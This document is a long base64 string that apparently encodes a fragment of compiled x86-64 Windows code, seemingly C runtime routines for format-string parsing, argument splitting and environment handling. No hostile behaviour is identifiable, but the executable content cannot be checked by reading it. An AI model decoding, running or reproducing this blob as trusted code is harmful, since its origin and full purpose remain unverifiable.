hIiUsgSIlLEEiJSyhIiUswiUs4iEtAZolLQolLUIhLVEiJi1gEAABIiYtgBAAASIsCSImDaAQAAEiLRCRQSIlDCEiLRCRYSIlDIEyJA0yJSxiJi3AEAADo+kYAAEiJQxBIi8NIg8QgW8PMSIlcJAhXSIPsIMZBGABIi/lIhdJ0BQ8QAusRiwWXuAEAhcB1Dg8QBUypAQDzD39BCOtP6MBoAABIiQdIjVcISIuIkAAAAEiJCkiLiIgAAABIiU8QSIvI6DBqAABIiw9IjVcQ6FhqAABIiw+LgagDAACoAnUNg8gCiYGoAwAAxkcYAUiLx0iLXCQwSIPEIF/DSIlcJBBIiXQkGFdIgezwBAAASIsFx6UBAEgzxEiJhCTgBAAASIsBSIvZSIs4SIvP6Fd4AABIi1MISI1MJDhAivBIixLoJ////0iLE0iNRCRASItLIEyLSxhMiwJIjVQkMEiLCU2LCUyJRCQwTItDEEiJTCQoSI1MJGBIiUQkIE2LAOjt/f//SI1MJGDowwIAAEiLjCTABAAAi9jorDYAAEiDpCTABAAAAIB8JFAAdAxIi0wkOIOhqAMAAP1Ii9dAis7olXgAAIvDSIuMJOAEAABIM8zoR9///0yNnCTwBAAASYtbGEmLcyBJi+Nfw8zMSIlcJBBIiXQkGFdIgezwBAAASIsF16QBAEgzxEiJhCTgBAAASIsBSIvZSIs4SIvP6Gd3AABIi1MISI1MJDhAivBIixLoN/7//0iLE0iNRCRASItLIEyLSxhMiwJIjVQkMEiLCU2LCUyJRCQwTItDEEiJTCQoSI1MJGBIiUQkIE2LAOh5/f//SI1MJGDo4wMAAEiLjCTABAAAi9jovDUAAEiDpCTABAAAAIB8JFAAdAxIi0wkOIOhqAMAAP1Ii9dAis7opXcAAIvDSIuMJOAEAABIM8zoV97//0yNnCTwBAAASYtbGEmLcyBJi+Nfw8zMSIlcJAhXSIPsIEiL2UiL+g++CegkXAAAg/hldA9I/8MPtgvoEFoAAIXAdfEPvgvoCFwAAIP4eHUESIPDAkiLB4oTSIuI+AAAAEiLAYoIiAtI/8OKA4gTitCKA0j/w4TAdfFIi1wkMEiDxCBfw8zMzEiLxEiJWBBIiWgYVldBVkiD7CBIi3EQSIv5vQEAAABIi9pIjVAIRIs2gyYARI1FCUiLSRhIg2AIAEgrzejLWwAAiQNIi0cQgzgidBFIi0QkQEg7RxhyBkiJRxjrA0Ay7YM+AHUIRYX2dANEiTZIi1wkSECKxUiLbCRQSIPEIEFeX17DzEiLxEiJWBBIiWgYSIlwIFdIg+wgSItxEEiL+UiL2kG4CgAAAEiNUAiLLoMmAEiLSRhIg2AIAEiD6QLoeVsAAIkDSItHEIM4InQTSItEJDBIO0cYcghIiUcYsAHrAjLAgz4AdQaF7XQCiS5Ii1wkOEiLbCRASIt0JEhIg8QgX8PMSIlcJAhIiWwkEFdIg+wgSIvZSIuJaAQAAEiFyXUS6OVCAADHABYAAADoukEAAOsJ6E8YAACEwHUIg8j/6aoBAABIg3sYAHTW/4NwBAAAg7twBAAAAg+EjQEAAIPP/0iNLTcQAQCDY1AAg2MsAOlOAQAASP9DGIN7KAAPjFUBAACKQ0GLUywsIDxadw9ID75DQQ+2TCjgg+EP6wIzyY0Eyg+2BCjB6ASJQyyD+AgPhEgBAACFwA+E+QAAAIPoAQ+E1wAAAIPoAQ+EmQAAAIPoAXRog+gBdFqD6AF0KIPoAXQWg/gBD4UhAQAASIvL6LoHAADpxQAAAEiLy+iNBAAA6bgAAACAe0EqdBFIjVM4SIvL6Ob9///poQAAAEiDQyAISItDIItI+IXJD0jPiUs46zGDYzgA6YYAAACAe0EqdAZIjVM068hIg0MgCEiLQyCLSPiJSzSFyXkJg0swBPfZiUs0sAHrVopDQTwgdCg8I3QePCt0FDwtdAo8MHVDg0swCOs9g0swBOs3g0swAesxg0swIOsrg0swAuslg2M0AINjMACDYzwAxkNAAIl7OMZDVADrDEiLy+jMAgAAhMB0S0iLQxiKCIhLQYTJD4Wh/v//SP9DGP+DcAQAAIO7cAQAAAIPhX3+//+LQyhIi1wkMEiLbCQ4SIPEIF/D6AhBAADHABYAAADo3T8AAIvH69zMSIvESIlYCEiJcBBIiXgYTIlwIEFXSIPsIDP2SIvZSDmxaAQAAHUY6MxAAADHABYAAADooT8AAIPI/+kHAgAASDlxGHTi/4FwBAAAg7lwBAAAAg+E6wEAAIPP/0yNPSoOAQBEjXchiXNQiXMs6aYBAABIg0MYAjlzKA+MsQEAAA+3Q0KLUyxmQSvGZoP4WncPD7dDQkIPtkw44IPhD+sCi86NBMpCD7YEOMHoBIlDLIP4CA+EqQEAAIXAD4QHAQAAg+gBD4TqAAAAg+gBD4SiAAAAg+gBdGuD6AF0XoPoAXQog+gBdBaD+AEPhYIBAABIi8voIQgAAOkXAQAASIvL6PQDAADpCgEAAGaDe0IqdBFIjVM4SIvL6FT8///p8gAAAEiDQyAISItDIItI+IXJD0jPiUs46dcAAACJczjp1QAAAGaDe0IqdAZIjVM068VIg0MgCEiLQyCLSPiJSzSFyQ+JqwAAAINLMAT32YlLNOmdAAAAD7dDQkE7xnQwg/gjdCWD+Ct0GoP4LXQPg/gwD4WCAAAAg0swCOt8g0swBOt2g0swAetwRAlzMOtqg0swAutkSIlzMECIc0CJeziJczxAiHNU61BED7dDQsZDVAFIi4NoBAAAi0gUwekM9sEBdA1Ii4NoBAAASDlwCHQfSIuTaAQAAEEPt8jofW8AALn//wAAZjvBdQWJeyjrA/9DKLABhMB0WkiLQxgPtwhmiUtCZoXJD4VG/v//SINDGAL/g3AEAACDu3AEAAACD4Uj/v//i0MoSItcJDBIi3QkOEiLfCRATIt0JEhIg8QgQV/D6JI+AADHABYAAADoZz0AAIvH69HMzMxAU0iD7CAz0kiL2ehgAAAAhMB0Q0iLg2gEAACKU0GLSBTB6Qz2wQF0DkiLg2gEAABIg3gIAHQZD77KSIuTaAQAAOg6cAAAg/j/dQUJQyjrA/9DKLAB6xLoJD4AAMcAFgAAAOj5PAAAMsBIg8QgW8PMQFNIg+wgSItBCEiL2Q+2UUHGQVQAuQCAAABIiwBIiwBmhQxQdGRIi4NoBAAAi0gUwekM9sEBdA5Ii4NoBAAASIN4CAB0GQ++ykiLk2gEAADou28AAIP4/3UFCUMo6wP/QyhIi0MYighI/8CIS0FIiUMYhMl1FOiVPQAAxwAWAAAA6Go8AAAywOsCsAFIg8QgW8PMzEiD7CiKQUE8RnUZ9gEID4VgAQAAx0EsBwAAAEiDxCjp/AIAADxOdSf2AQgPhUMBAADHQSwIAAAA6D89AADHABYAAADoFDwAADLA6ScBAACDeTwAdeM8SQ+EugAAADxMD4SpAAAAPFQPhJgAAAA8aHRyPGp0YjxsdDY8dHQmPHd0Fjx6sAEPhesAAADHQTwGAAAA6d8AAADHQTwMAAAA6dEAAADHQTwHAAAA6cUAAABIi0EYgDhsdRNI/8DHQTwEAAAASIlBGOmpAAAAx0E8AwAAAOmdAAAAx0E8BQAAAOmRAAAASItBGIA4aHUQSP/Ax0E8AQAAAEiJQRjreMdBPAIAAADrb8dBPA0AAADrZsdBPAgAAADrXUiLURiKAjwzdReAegEydRFIjUICx0E8CgAAAEiJQRjrPDw2dReAegE0dRFIjUICx0E8CwAAAEiJQRjrISxYPCB3G0gPvsBIugEQgiABAAAASA+jwnMHx0E8CQAAALABSIPEKMPMSIPsKGaDeUJGdRn2AQgPhYcBAADHQSwHAAAASIPEKOn8AwAAZoN5Qk51J/YBCA+FZwEAAMdBLAgAAADowDsAAMcAFgAAAOiVOgAAMsDpSwEAAIN5PAB14w+3QUKD+EkPhM8AAACD+EwPhL0AAACD+FQPhKsAAAC6aAAAADvCdHyD+Gp0a7psAAAAO8J0OYP4dHQog/h3dBeD+HqwAQ+F+gAAAMdBPAYAAADp7gAAAMdBPAwAAADp4AAAAMdBPAcAAADp1AAAAEiLQRhmORB1FEiDwALHQTwEAAAASIlBGOm3AAAAx0E8AwAAAOmrAAAAx0E8BQAAAOmfAAAASItBGGY5EHUUSIPAAsdBPAEAAABIiUEY6YIAAADHQTwCAAAA63nHQTwNAAAA63DHQTwIAAAA62dIi1EYD7cCZoP4M3UYZoN6AjJ1EUiNQgTHQTwKAAAASIlBGOtCZoP4NnUYZoN6AjR1EUiNQgTHQTwLAAAASIlBGOskZoPoWGaD+CB3Gg+3wEi6ARCCIAEAAABID6PCcwfHQTwJAAAAsAFIg8Qow8zMSIlcJBBIiWwkGEiJdCQgV0FWQVdIg+wwD75BQUiL2UG/AQAAAIP4ZH9dD4TIAAAAg/hBD4TSAAAAg/hDdDOD+EQPjs0AAACD+EcPjrsAAACD+FN0X4P4WHRvg/hadB6D+GEPhKMAAACD+GMPhaMAAAAz0ugwCgAA6ZMAAADoxgQAAOmJAAAAg/hnfn+D+Gl0Z4P4bnRbg/hvdDiD+HB0G4P4c3QPg/h1dFKD+Hh1ZY1QmOtN6McNAADrVcdBOBAAAADHQTwLAAAARYrHuhAAAADrMYtJMIvBwegFQYTHdAcPuukHiUswuggAAABIi8vrEOiuDAAA6xiDSTAQugoAAABFM8Do+woAAOsF6DgFAACEwHUHMsDpRQEAAIB7QAAPhTgBAACLUzAzwGaJRCRQM/+IRCRSi8LB6ARBhMd0LovCwegGQYTHdAfGRCRQLesaQYTXdAfGRCRQK+sOi8LR6EGEx3QIxkQkUCBJi/+KS0GNQaio33UPi8LB6AVBhMd0BUWKx+sDRTLAjUG/qN8PlMBFhMB1BITAdCrGRDxQMEkD/4D5WHQJgPlBdAQywOsDQYrH9tgawCTgBGEEF4hEPFBJA/+LczQrc1Ar9/bCDHUVTI1LKESLxkiNi2gEAACyIOh67///SItDEEiNayhMjbNoBAAASIlEJCBMi81IjVQkUEmLzkSLx+gbEAAAi0swi8HB6ANBhMd0GMHpAkGEz3UQTIvNRIvGsjBJi87oLu///zPSSIvL6CgOAACDfQAAfBuLQzDB6AJBhMd0EEyLzUSLxrIgSYvO6APv//9BisdIi1wkWEiLbCRgSIt0JGhIg8QwQV9BXl/DzMzMSIlcJBBIiWwkGEiJdCQgV0FUQVVBVkFXSIPsQEiLBUGXAQBIM8RIiUQkOA+3QUK+WAAAAEiL2Y1u6USNfqmD+GR/Ww+ExgAAADvFD4TRAAAAg/hDdDKD+EQPjswAAACD+EcPjroAAACD+FN0XjvGdG+D+Fp0HoP4YQ+EowAAAIP4Yw+FowAAADPS6FEIAADpkwAAAOizAgAA6YkAAACD+Gd+f4P4aXRng/hudFuD+G90OIP4cHQbg/hzdA+D+HV0UoP4eHVljVCY603oxAsAAOtVx0E4EAAAAMdBPAsAAABFise6EAAAAOsxi0kwi8HB6AVBhMd0Bw+66QeJSzC6CAAAAEiLy+sQ6BsKAADrGINJMBC6CgAAAEUzwOhoCAAA6wXowQQAAITAdQcywOlsAQAAgHtAAA+FXwEAAItTMDPAiUQkMDP/ZolEJDSLwsHoBESNbyBBhMd0MovCwegGQYTHdAqNRy1miUQkMOsbQYTXdAe4KwAAAOvti8LR6EGEx3QJZkSJbCQwSYv/D7dLQkG53/8AAA+3wWYrxmZBhcF1D4vCwegFQYTHdAVFisfrA0UywA+3wUG8MAAAAGYrxWZBhcEPlMBFhMB1BITAdC9mRIlkfDBJA/9mO850CWY7zXQEMsDrA0GKx/bYGsAk4ARhBBcPvsBmiUR8MEkD/4tzNCtzUCv39sIMdRZMjUsoRIvGSI2LaAQAAEGK1ehG7f//SItDEEiNayhMjbNoBAAASIlEJCBMi81IjVQkMEmLzkSLx+hbDgAAi0swi8HB6ANBhMd0GcHpAkGEz3URTIvNRIvGQYrUSYvO6Pns//8z0kiLy+hHDAAAg30AAHwci0MwwegCQYTHdBFMi81Ei8ZBitVJi87ozez//0GKx0iLTCQ4SDPM6PnO//9MjVwkQEmLWzhJi2tASYtzSEmL40FfQV5BXUFcX8PMzMxIiVwkCEiJdCQQV0iD7CBIg0EgCEiL2UiLQSBIi3j4SIX/dDNIi3cISIX2dCpEi0E8ilFBSIsJ6DDq//+EwEiJc0gPtwd0C9HoiUNQxkNUAesbiUNQ6xJIjQ2mAgEAx0NQBgAAAEiJS0jGQ1QASItcJDCwAUiLdCQ4SIPEIF/DzEiJXCQISIl0JBBXSIPsIEiDQSAISIvZSItBIEiLePhIhf90NEiLdwhIhfZ0K0SLQTwPt1FCSIsJ6N/p//+EwEiJc0gPtwd0C9HoiUNQxkNUAesbiUNQ6xJIjQ0lAgEAx0NQBgAAAEiJS0jGQ1QASItcJDCwAUiLdCQ4SIPEIF/DSIlcJBBXSIPsUINJMBBIi9mLQTiFwHkWikFBLEEk3/bYG8CD4PmDwA2JQTjrEnUQikFBLEeo33UHx0E4AQAAAItBOEiNeVgFXQEAAEiLz0hj0Ohp6P//QbgAAgAAhMB1IUiDvwgEAAAAdQVBi8DrCkiLhwAEAABI0egFo/7//4lDOEiLhwgEAABIhcBID0THSIlDSDPASINDIAhIg78IBAAAAEiJRCRgSItDIPIPEED48g8RRCRgdQVNi8jrCkyLjwAEAABJ0elIi48IBAAASIXJdQlMjZcAAgAA6w1Mi5cABAAASdHqTAPRSIP5AHQKTIuHAAQAAEnR6EiLQwhIi9FIiUQkQEiFyUiLAw++S0FID0TXSIlEJDiLQziJRCQwiUwkKEiNTCRgTIlMJCBNi8roHmEAAItDMMHoBagBdBODezgAdQ1Ii1MISItLSOhF7v//ikNBLEeo33Vti0MwwegFqAF1Y0iLQwhIi1NISIsISIuB+AAAAEiLCESKAesIQTrAdAlI/8KKAoTAdfKKAkj/woTAdDLrCSxFqN90CUj/wooChMB18UiLykj/yoA6MHT4RDgCdQNI/8qKAUj/wkj/wYgChMB18kiLQ0iAOC11C4NLMEBI/8BIiUNISItTSIoCLEk8JXcUSLkhAAAAIQAAAEgPo8FzBMZDQXNIg8n/SP/BgDwKAHX3iUtQsAFIi1wkaEiDxFBfw8zMSIlcJBBIiXwkGEFWSIPsUINJMBBIi9mLQThBvt//AACFwHkcD7dBQmaD6EFmQSPGZvfYG8CD4PmDwA2JQTjrF3UVD7dBQmaD6EdmQYXGdQfHQTgBAAAAi0E4SI15WAVdAQAASIvPSGPQ6Dbm//9BuAACAACEwHUhSIO/CAQAAAB1BUGLwOsKSIuHAAQAAEjR6AWj/v//iUM4SIuHCAQAAEiFwEgPRMdIiUNIM8BIg0MgCEiDvwgEAAAASIlEJGBIi0Mg8g8QQPjyDxFEJGB1BU2LyOsKTIuPAAQAAEnR6UiLjwgEAABIhcl1CUyNlwACAADrDUyLlwAEAABJ0epMA9FIg/kAdApMi4cABAAASdHoSItDCEiL0UiJRCRASIXJSIsDD75LQkgPRNdIiUQkOItDOIlEJDCJTCQoSI1MJGBMiUwkIE2LyujrXgAAi0MwwegFqAF0E4N7OAB1DUiLUwhIi0tI6BLs//8Pt0NCZoPoR2ZBhcZ1bYtDMMHoBagBdWNIi0MISItTSEiLCEiLgfgAAABIiwhEigHrCEE6wHQJSP/CigKEwHXyigJI/8KEwHQy6wksRajfdAlI/8KKAoTAdfFIi8pI/8qAOjB0+EQ4AnUDSP/KigFI/8JI/8GIAoTAdfJIi0NIgDgtdQuDSzBASP/ASIlDSEiLU0iKAixJPCV3GUi5IQAAACEAAABID6PBcwm4cwAAAGaJQ0JIg8n/SP/BgDwKAHX3SIt8JHCwAYlLUEiLXCRoSIPEUEFew8zMzEiJXCQIV0iD7CBEi0E8SIvZilFBSIsJ6PDk//9IjXtYhMB0S0iDQyAISIO/CAQAAABIi0MgdQhBuAACAADrCkyLhwAEAABJ0ehIi5cIBAAASI1LUEQPt0j4SIXSSA9E1+iDSgAAhcB0KsZDQAHrJEyLhwgEAABNhcBMD0THSINDIAhIi0sgilH4QYgQx0NQAQAAAEiLjwgEAACwAUiFyUgPRM9IiUtISItcJDBIg8QgX8PMzEiJXCQQSIl0JBhXSIPsIMZBVAFIi9lIg0EgCEiLQSBEi0E8D7dRQkiLCQ+3cPjoVeT//0iNe1hIi48IBAAAhMB1L0yLSwhIjVQkMECIdCQwSIXJiEQkMUgPRM9JiwFMY0AI6PlGAACFwHkQxkNAAesKSIXJSA9Ez2aJMUiLjwgEAACwAUiLdCRASIXJx0NQAQAAAEgPRM9IiUtISItcJDhIg8QgX8PMzEBTSIPsIEG7CAAAAEiL2YtJPEWKyESL0kWNQ/yD+QV/ZXQYhcl0TIPpAXRTg+kBdEeD6QF0PYP5AXVcSYvTSIvCSIPoAQ+EogAAAEiD6AF0fUiD6AJ0Wkk7wHQ/6PctAADHABYAAADozCwAADLA6SYBAABJi9DrxroCAAAA67+6AQAAAOu4g+kGdLCD6QF0q4PpAnSm65oz0uuji0MwTAFbIMHoBKgBSItDIEiLSPjrWYtDMEwBWyDB6ASoAUiLQyB0BkhjSPjrQYtI+Os8i0MwTAFbIMHoBKgBSItDIHQHSA+/SPjrIw+3SPjrHYtDMEwBWyDB6ASoAUiLQyB0B0gPvkj46wQPtkj4RItDMEGLwMHoBKgBdBBIhcl5C0j32UGDyEBEiUMwg3s4AH0Jx0M4AQAAAOsRg2Mw97gAAgAAOUM4fgOJQzhIhcl1BINjMN9Fi8JJO9N1DUiL0UiLy+hc4///6wqL0UiLy+i04v//i0MwwegHqAF0HYN7UAB0CUiLS0iAOTB0Dkj/S0hIi0tIxgEw/0NQsAFIg8QgW8PMSIlcJAhIiXQkEFdIg+wguwgAAABIi/lIAVkgSItBIEiLcPjoqF4AAIXAdRfohywAAMcAFgAAAOhcKwAAMsDpiAAAAItPPLoEAAAAg/kFfyx0PoXJdDeD6QF0GoPpAXQOg+kBdCiD+QF0JjPb6yK7AgAAAOsbuwEAAADrFIPpBnQPg+kBdAqD6QJ0BevTSIvaSIPrAXQqSIPrAXQbSIPrAnQOSDvadYVIY0coSIkG6xWLRyiJBusOD7dHKGaJBusFik8oiA7GR0ABsAFIi1wkMEiLdCQ4SIPEIF/DzEiJXCQISIl0JBBXSIPsIEiDQSAISIvZSItBIItxOIP+/0SLQTyKUUFIi3j4uP///39IiXlID0TwSIsJ6PTg//9IY9aEwHQdSIX/xkNUAUiNDYP5AABID0XPSIlLSOgeSAAA6xdIhf9IjQ1e+QAASA9Fz0iJS0joqUYAAEiLdCQ4iUNQsAFIi1wkMEiDxCBfw0iJXCQISIl0JBBXSIPsIEiDQSAISIvZSItBIIt5OIP//0SLQTwPt1FCSItw+Lj///9/SIlxSA9E+EiLCeiT4P//hMB0I0iF9khj10iNDfb4AADGQ1QBSA9FzkiJS0jojUcAAIlDUOtMSIX2dQtIjQXI+AAASIlDSEyLQ0hFM8mF/34tQYA4AHQnSItDCEEPthBIiwhIiwG5AIAAAGaFDFB0A0n/wEn/wEH/wUQ7z3zTRIlLUEiLXCQwsAFIi3QkOEiDxCBfw8zMSIPsKItBFMHoDKgBdXfoBUAAAExjwEiNDUuLAQBMjQ0kngEAQY1AAoP4AXYXSYvQSYvAg+I/SMH4BkjB4gZJAxTB6wNIi9GAejkAdSRBjUACg/gBdhVJi8hJi8CD4T9IwfgGSMHhBkkDDMH2QT0BdBToDioAAMcAFgAAAOjjKAAAMsDrArABSIPEKMNIiVwkEEiJdCQYV0iD7FBIiwVmiQEASDPESIlEJECAeVQASIvZdG6LQVCFwH5nSItxSDP/hcB0fkQPtw5IjVQkNINkJDAASI1MJDBBuAYAAABIjXYC6NJEAACFwHUxRItEJDBFhcB0J0iLQxBMjUsoSI2LaAQAAEiJRCQgSI1UJDToPgEAAP/HO3tQdavrJ4NLKP/rIUiLQxBMjUkoRItDUEiBwWgEAABIi1NISIlEJCDoDgEAALABSItMJEBIM8zo98L//0iLXCRoSIt0JHBIg8RQX8PMzMxIiVwkEEiJbCQYVldBVkiD7DBFM/ZIi9lEOHFUD4WUAAAAi0FQhcAPjokAAABIi3FIQYv+TItLCEiNTCRQZkSJdCRQSIvWSYsBTGNACOguQQAASGPohcB+V0iLg2gEAABED7dEJFCLSBTB6Qz2wQF0DUiLg2gEAABMOXAIdCBIi5NoBAAAQQ+3yOgWWQAAuf//AABmO8F1BoNLKP/rA/9DKEgD9f/HSIvFO3tQdYbrJ4NLKP/rIUiLQxBMjUkoRItDUEiBwWgEAABIi1NISIlEJCDoDQEAAEiLXCRYsAFIi2wkYEiDxDBBXl9ew0iJXCQISIlsJBBIiXQkGFdBVkFXSIPsIEiLAUmL2UyL8kiL8USLUBRBweoMQfbCAXQSSIsBSIN4CAB1CEUBAemYAAAASIt8JGBJY+hIA+pEiz+DJwBIO9V0dUiLBkGKFotIFMHpDPbBAXQKSIsGSIN4CAB0FA++ykiLFui0WQAAg/j/dQQJA+sJ/wOLA4P4/3U1gz8qdThIiwaLSBTB6Qz2wQF0CkiLBkiDeAgAdBZIixa5PwAAAOh4WQAAg/j/dQQJA+sC/wNJ/8ZMO/V1i4M/AHUIRYX/dANEiT9Ii1wkQEiLbCRISIt0JFBIg8QgQV9BXl/DzMzMSIlcJBBIiWwkGEiJdCQgV0FWQVdIg+wgSIsBSYvZTIvySIvxRItQFEHB6gxB9sIBdBJIiwFIg3gIAHUIRQEB6awAAABIi3wkYEljwIsvgycATI08QolsJEBJO9cPhIMAAAC9//8AAEiLBkUPtwaLSBTB6Qz2wQF0CkiLBkiDeAgAdBZIixZBD7fI6DFXAABmO8V1BYML/+sJ/wOLA4P4/3U2gz8qdTpIiwaLSBTB6Qz2wQF0CkiLBkiDeAgAdBdIixa5PwAAAOj0VgAAZjvFdQWDC//rAv8DSYPGAk0793WGi2wkQIM/AHUGhe10AokvSItcJEhIi2wkUEiLdCRYSIPEIEFfQV5fw8zMzEBVSIvsSIPsYEiLRTBIiUXATIlNGEyJRShIiVUQSIlNIEiF0nUV6AUmAADHABYAAADo2iQAAIPI/+tKTYXAdOZIjUUQSIlVyEiJRdhMjU3ISI1FGEiJVdBIiUXgTI1F2EiNRSBIiUXoSI1V0EiNRShIiUXwSI1NMEiNRcBIiUX46Bfa//9Ig8RgXcPMQFVIi+xIg+xgSItFMEiJRcBMiU0YTIlFKEiJVRBIiU0gSIXSdRXoeSUAAMcAFgAAAOhOJAAAg8j/60pNhcB05kiNRRBIiVXISIlF2EyNTchIjUUYSIlV0EiJReBMjUXYSI1FIEiJRehIjVXQSI1FKEiJRfBIjU0wSI1FwEiJRfjoS9n//0iDxGBdw8xIiVwkCEyJTCQgV0iD7CBJi9lJi/hIiwroF9f//5BIi8/oGgAAAIv4SIsL6BDX//+Lx0iLXCQwSIPEIF/DzMzMSIlcJAhIiWwkEEiJdCQYV0iD7CBIiwFIi/lIizBIi87o41YAAEyLD7oBAAAATItHEECK6EiLTwhNiwlNiwBIiwnozlcAAEiLTxCDy/9IOwF1FEiLF41LC0iLEuh4VgAAO8N0AjPbSIvWQIrN6GdXAABIi2wkOIvDSItcJDBIi3QkQEiDxCBfw0iJTCQIVUiL7EiD7FBIhcl1Geg5JAAAxwAWAAAA6A4jAABIg8j/6dMAAAC5AQAAAOjH1f//SIlFIItIFMHpDPbBAXVsSIvI6Jg5AABMY8hIjRXehAEATI0Vt5cBAEGNSQKD+QF2GE2LwUmLyUGD4D9IwfkGScHgBk0DBMrrA0yLwkGAeDkAdYpBjUECg/gBdhVJi9FJi8GD4j9IwfgGSMHiBkkDFML2Qj0BD4Vi////SItNEEiDyP9I/8CAPAEAdfdIiUUoTI1N0EiNRSBIiUXgTI1F4EiNRRBIiUXoSI1V2EiNRShIiUXwSI1NGEiLRSBIiUXQSIlF2Og6/v//SIPEUF3DSIlcJAhIiWwkEEiJdCQYV0iD7CBIi/KL+ejORQAARTPASIvYSIXAdQczwOlIAQAASIsISIvBSI2RwAAAAEg7ynQNOTh0DEiDwBBIO8J180mLwEiFwHTSSIt4CEiF/3TJSIP/BXUMTIlACI1H/OkGAQAASIP/AQ+E+QAAAEiLawhIiXMIi3AEg/4ID4XQAAAASIPBMEiNkZAAAADrCEyJQQhIg8EQSDvKdfOBOI0AAMCLcxAPhIgAAACBOI4AAMB0d4E4jwAAwHRmgTiQAADAdFWBOJEAAMB0RIE4kgAAwHQzgTiTAADAdCKBOLQCAMB0EYE4tQIAwHVPx0MQjQAAAOtGx0MQjgAAAOs9x0MQhQAAAOs0x0MQigAAAOsrx0MQhAAAAOsix0MQgQAAAOsZx0MQhgAAAOsQx0MQgwAAAOsHx0MQggAAAEiLz/8VF+QAAItTELkIAAAA/9eJcxDrEUiLz0yJQAj/FfvjAACLzv/XSIlrCIPI/0iLXCQwSItsJDhIi3QkQEiDxCBfw8zMzIsFDpIBAMPMiQ0GkgEAw8xIixUpgQEAi8pIMxX4kQEAg+E/SNPKSIXSD5XAw8zMzEiJDeGRAQDDSIlcJAhXSIPsIEiLHfeAAQBIi/mLy0gzHcORAQCD4T9I08tIhdt1BDPA6w5Ii8v/FWvjAABIi8//00iLXCQwSIPEIF/DzMzMTIsFuYABAEyLyUGL0LlAAAAAg+I/K8pJ08lNM8hMiQ10kQEAw8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEFWQVdIg+wgTIt8JGBNi+FJi/hMi/JIi9lJgycASccBAQAAAEiF0nQHTIkCSYPGCEAy7YA7InUPQITtQLYiQA+UxUj/w+s3Sf8HSIX/dAeKA4gHSP/HD74zSP/Di87oJGYAAIXAdBJJ/wdIhf90B4oDiAdI/8dI/8NAhPZ0HECE7XWwQID+IHQGQID+CXWkSIX/dAnGR/8A6wNI/8tAMvaAOwAPhNIAAACAOyB0BYA7CXUFSP/D6/GAOwAPhLoAAABNhfZ0B0mJPkmDxghJ/wQkugEAAAAzwOsFSP/D/8CAO1x09oA7InUxhMJ1GUCE9nQLgHsBInUFSP/D6wkz0kCE9kAPlMbR6OsQ/8hIhf90BsYHXEj/x0n/B4XAdeyKA4TAdERAhPZ1CDwgdDs8CXQ3hdJ0K0iF/3QFiAdI/8cPvgvoQGUAAIXAdBJJ/wdI/8NIhf90B4oDiAdI/8dJ/wdI/8Ppaf///0iF/3QGxgcASP/HSf8H6SX///9NhfZ0BEmDJgBJ/wQkSItcJEBIi2wkSEiLdCRQSIt8JFhIg8QgQV9BXkFcw0BTSIPsIEi4/////////x9Mi8pMi9FIO8hyBDPA6zxIg8n/M9JIi8FJ9/BMO8hz60nB4gNND6/ISSvKSTvJdttLjQwRugEAAADoUhEAADPJSIvY6PAPAABIi8NIg8QgW8PMzMxIiVwkCFVWV0FWQVdIi+xIg+wwjUH/RIvxg/gBdhbo0R4AAL8WAAAAiTjopR0AAOkvAQAA6DtgAABIjR0YjwEAQbgEAQAASIvTM8n/Fa/fAABIizVQkAEAM/9IiR1XkAEASIX2dAVAOD51A0iL80iNRUhIiX1ATI1NQEiJRCQgRTPASIl9SDPSSIvO6FD9//9Mi31AQbgBAAAASItVSEmLz+j2/v//SIvYSIXAdRHoQR4AAI17DIk4M8npnwAAAE6NBPhIi9NIjUVISIvOTI1NQEiJRCQg6AX9//9Bg/4BdRSLRUD/yEiJHauPAQCJBaGPAQDrw0iNVThIiX04SIvL6GtYAACL8IXAdBlIi0046NAOAABIi8tIiX046MQOAACL/us/SItVOEiLz0iLwkg5OnQMSI1ACEj/wUg5OHX0iQ1PjwEAM8lIiX04SIkVRo8BAOiNDgAASIvLSIl9OOiBDgAAi8dIi1wkYEiDxDBBX0FeX15dw8zMQFNIg+wgSIsF244BADPbSIXAdStIOR3VjgEAdQQzwOse6CIAAACFwHXz6MUBAABIiw2yjgEAhcBID0XLSIvBSIPEIFvDzMzMSIlcJAhXSIPsIDP/SDk9jY4BAHQEM8DrSOiWXgAA6K1iAABIi9hIhcB1BYPP/+snSIvI6DQAAABIhcB1BYPP/+sOSIkFb44BAEiJBVCOAQAzyejNDQAASIvL6MUNAACLx0iLXCQwSIPEIF/DSIlcJAhIiWwkEEiJdCQYV0FWQVdIg+wwM/ZMi/GL1usaPD10A0j/wkiDyP9I/8BAODQBdfdI/8FIA8iKAYTAdeBIjUoBuggAAADowQ4AAEiL2EiFwHRsTIv4QTg2dGFIg83/SP/FQTg0LnX3SP/FQYA+PXQ1ugEAAABIi83ojg4AAEiL+EiFwHQlTYvGSIvVSIvI6MANAAAzyYXAdUhJiT9Jg8cI6A4NAABMA/Xrq0iLy+hFAAAAM8no+gwAAOsDSIvzM8no7gwAAEiLXCRQSIvGSIt0JGBIi2wkWEiDxDBBX0FeX8NFM8lIiXQkIEUzwDPS6NAaAADMzMzMSIXJdDtIiVwkCFdIg+wgSIsBSIvZSIv56w9Ii8jomgwAAEiNfwhIiwdIhcB17EiLy+iGDAAASItcJDBIg8QgX8PMzMxIiVwkCEiJbCQQVkiD7EBIizXmjAEASIX2D4WLAAAAg8j/6Y8AAABIg2QkOABBg8n/SINkJDAAM9KDZCQoADPJTIsGSINkJCAA/xVV3AAASGPohcB0yboBAAAASIvN6G0NAABIi9hIhcB0W0iDZCQ4AEGDyf9Ig2QkMAAz0kyLBjPJiWwkKEiJRCQg/xUT3AAAhcB0MTPSSIvL6GVlAAAzyejSCwAASIPGCEiDPgAPhXP///8zwEiLXCRQSItsJFhIg8RAXsNIi8voqgsAAOlM////zEiD7ChIiwlIOw0qjAEAdAXo0/7//0iDxCjDzMxIg+woSIsJSDsNBowBAHQF6Lf+//9Ig8Qow8zM6fv8///MzMxIg+woSI0N1YsBAOiw////SI0N0YsBAOjA////SIsN1YsBAOiA/v//SIsNwYsBAEiDxCjpcP7//0iD7ChIiwW1iwEASIXAdQzoq/z//0iJBaSLAQBIg8Qow8zMzOnf/P//zMzMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsIEUz9kiL+kgr+UiL2UiDxwdBi+5Iwe8DSDvKSQ9H/kiF/3QfSIszSIX2dAtIi87/Fd/bAAD/1kiDwwhI/8VIO+914UiLXCQwSItsJDhIi3QkQEiLfCRISIPEIEFew8zMSIlcJAhIiXQkEFdIg+wgSIvySIvZSDvKdCBIiztIhf90D0iLz/8VidsAAP/XhcB1C0iDwwhIO97r3jPASItcJDBIi3QkOEiDxCBf